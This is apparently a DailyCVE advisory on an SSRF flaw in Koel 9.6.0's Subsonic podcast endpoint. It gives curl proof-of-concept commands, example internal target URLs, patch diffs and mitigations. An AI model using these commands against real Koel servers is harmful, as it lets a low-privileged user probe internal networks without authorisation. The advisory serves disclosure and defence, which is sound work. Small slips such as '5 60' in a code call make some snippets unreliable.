Koel, Server-Side Request Forgery (SSRF), CVE-2026-54492 (Medium) -DC-Jul2026-1033

Listen to this Post

Koel v9.6.0 implements SSRF protection for the regular podcast subscription API through the `SafeUrl` validation rule, which rejects private IP ranges and loopback addresses. However, the Subsonic‑compatible `createPodcastChannel.view` endpoint does not apply this same protection. An authenticated user can supply a private URL (e.g., loopback, Docker bridge, or RFC1918 address) as the podcast feed URL, and Koel will fetch it server‑side during channel creation, before any `SafeUrl` check is performed.
The vulnerability stems from a trust‑boundary mismatch: the main API (/api/podcasts) validates the `url` field with ['required', 'url', new SafeUrl()], while the Subsonic route (/rest/createPodcastChannel.view) uses only ['required', 'string', 'url']. This validation gap allows attackers to bypass the intended SSRF control. The fetched URL is processed immediately by PodcastService::addPodcast(), which calls `createParser($url)` and subsequently Poddle::fromUrl($url, 5 60, $this->client). The server‑side request occurs as part of the channel creation flow itself; no separate playback step is required.
This issue is distinct from the previously published `GHSA-7j2f-6h2r-6cqc` (CVE‑2026‑47260), which addressed unsafe episode enclosure URLs in versions ≤ 9.3.4. The current vulnerability is a newer validation gap in the Subsonic route, still present in v9.6.0. During validation, the regular API returns HTTP 422 with the error “The url must point to a public URL”, while the Subsonic endpoint accepts the same private URL and returns HTTP 200 with "status":"ok". The internal HTTP test server confirms that HEAD and GET requests are made to the attacker‑controlled private URL.

DailyCVE Form:

Platform: ……. Koel
Version: …….. 9.6.0
Vulnerability :…… SSRF via Subsonic
Severity: ……. Medium
date: ………. 2026-07-15

Prediction: …… 9.7.0 release

What Undercode Say:

Analytics:

  • Affected versions: ≤ 9.6.0 (all prior releases)
  • Fixed version: 9.7.0
  • Vulnerability type: Server‑Side Request Forgery (SSRF)
  • Attack vector: Authenticated Subsonic API user
  • Confirmed impact: SSRF to loopback, Docker bridge, and RFC1918 HTTP destinations

Validation Commands (PoC):

1. Authenticate and obtain API token
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
2. Obtain the user's Subsonic API key
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
3. Set internal target URL (Docker bridge reachable from container)
TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"
4. Confirm regular web API blocks the URL (expected: 422)
curl -i -X POST http://127.0.0.1:18081/api/podcasts \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"url\":\"$TARGET_URL\"}"
5. Trigger Subsonic route with same URL (expected: 200, "status":"ok")
curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode "url=$TARGET_URL"

Code Snippet (Vulnerable Validation):

// app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
return [
'url' => ['required', 'string', 'url'], // Missing SafeUrl
];

Code Snippet (SafeUrl in Regular API):

// app/Http/Requests/API/Podcast/PodcastStoreRequest.php
return [
'url' => ['required', 'url', new SafeUrl()],
];

Exploit:

An authenticated attacker with any valid Koel account and a Subsonic API key can:
1. Obtain the API token and Subsonic key via the `/api/me` and `/api/data` endpoints.
2. Craft a request to `/rest/createPodcastChannel.view` with a private URL (e.g., `http://127.0.0.1:8080/admin`, `http://172.17.0.1:22`, or any RFC1918 address).
3. The Koel server fetches the URL using Guzzle, sending the request to the internal target.
4. If the internal service returns a valid RSS/XML feed, the podcast is created and the response may be partially reflected, aiding in information disclosure.
5. No additional privileges are required; the attack is fully authenticated but low‑privileged.

Protection:

Immediate Remediation (Patch):

Apply the following patch to `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:

public function rules(): array
{
return [
- 'url' => ['required', 'string', 'url'],
+ 'url' => ['required', 'string', 'url', new SafeUrl()],
];
}

Defense‑in‑Depth (PodcastService):

Add a safety check in `app/Services/Podcast/PodcastService.php` before parsing:

private function createParser(string $url): Poddle
{
+ if (!$this->network->isSafeUrl($url)) {
+ throw FailedToParsePodcastFeedException::create($url);
+ }
return Poddle::fromUrl($url, 5 60, $this->client);
}

Network‑Level Mitigation:

  • Restrict egress traffic from the Koel container to block loopback, Docker bridge, and RFC1918 destinations.
  • Use a Web Application Firewall (WAF) to inspect and block requests containing private IP addresses in the `url` parameter.

Upgrade:

Upgrade to Koel v9.7.0 or later, which includes the fix.

Impact:

  • Authenticated SSRF: Any valid Koel user with a Subsonic API key can force the server to issue HTTP requests to internal services, including loopback (127.0.0.1), Docker bridge (172.17.0.1), and RFC1918 networks.
  • Internal Service Discovery: Attackers can probe internal ports and services, mapping the internal network topology.
  • Blind SSRF: While full response exfiltration is not guaranteed, the server‑side request is performed, and if the internal service returns a valid RSS feed, parts of the response may be reflected back through the podcast creation response.
  • Bypass of Existing Controls: This vulnerability circumvents the `SafeUrl` protection already implemented in the regular podcast API, reintroducing a server‑side fetch primitive that was previously addressed.
  • No Additional Privileges Required: The attack leverages only the default authenticated user role, making it accessible to any registered user.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top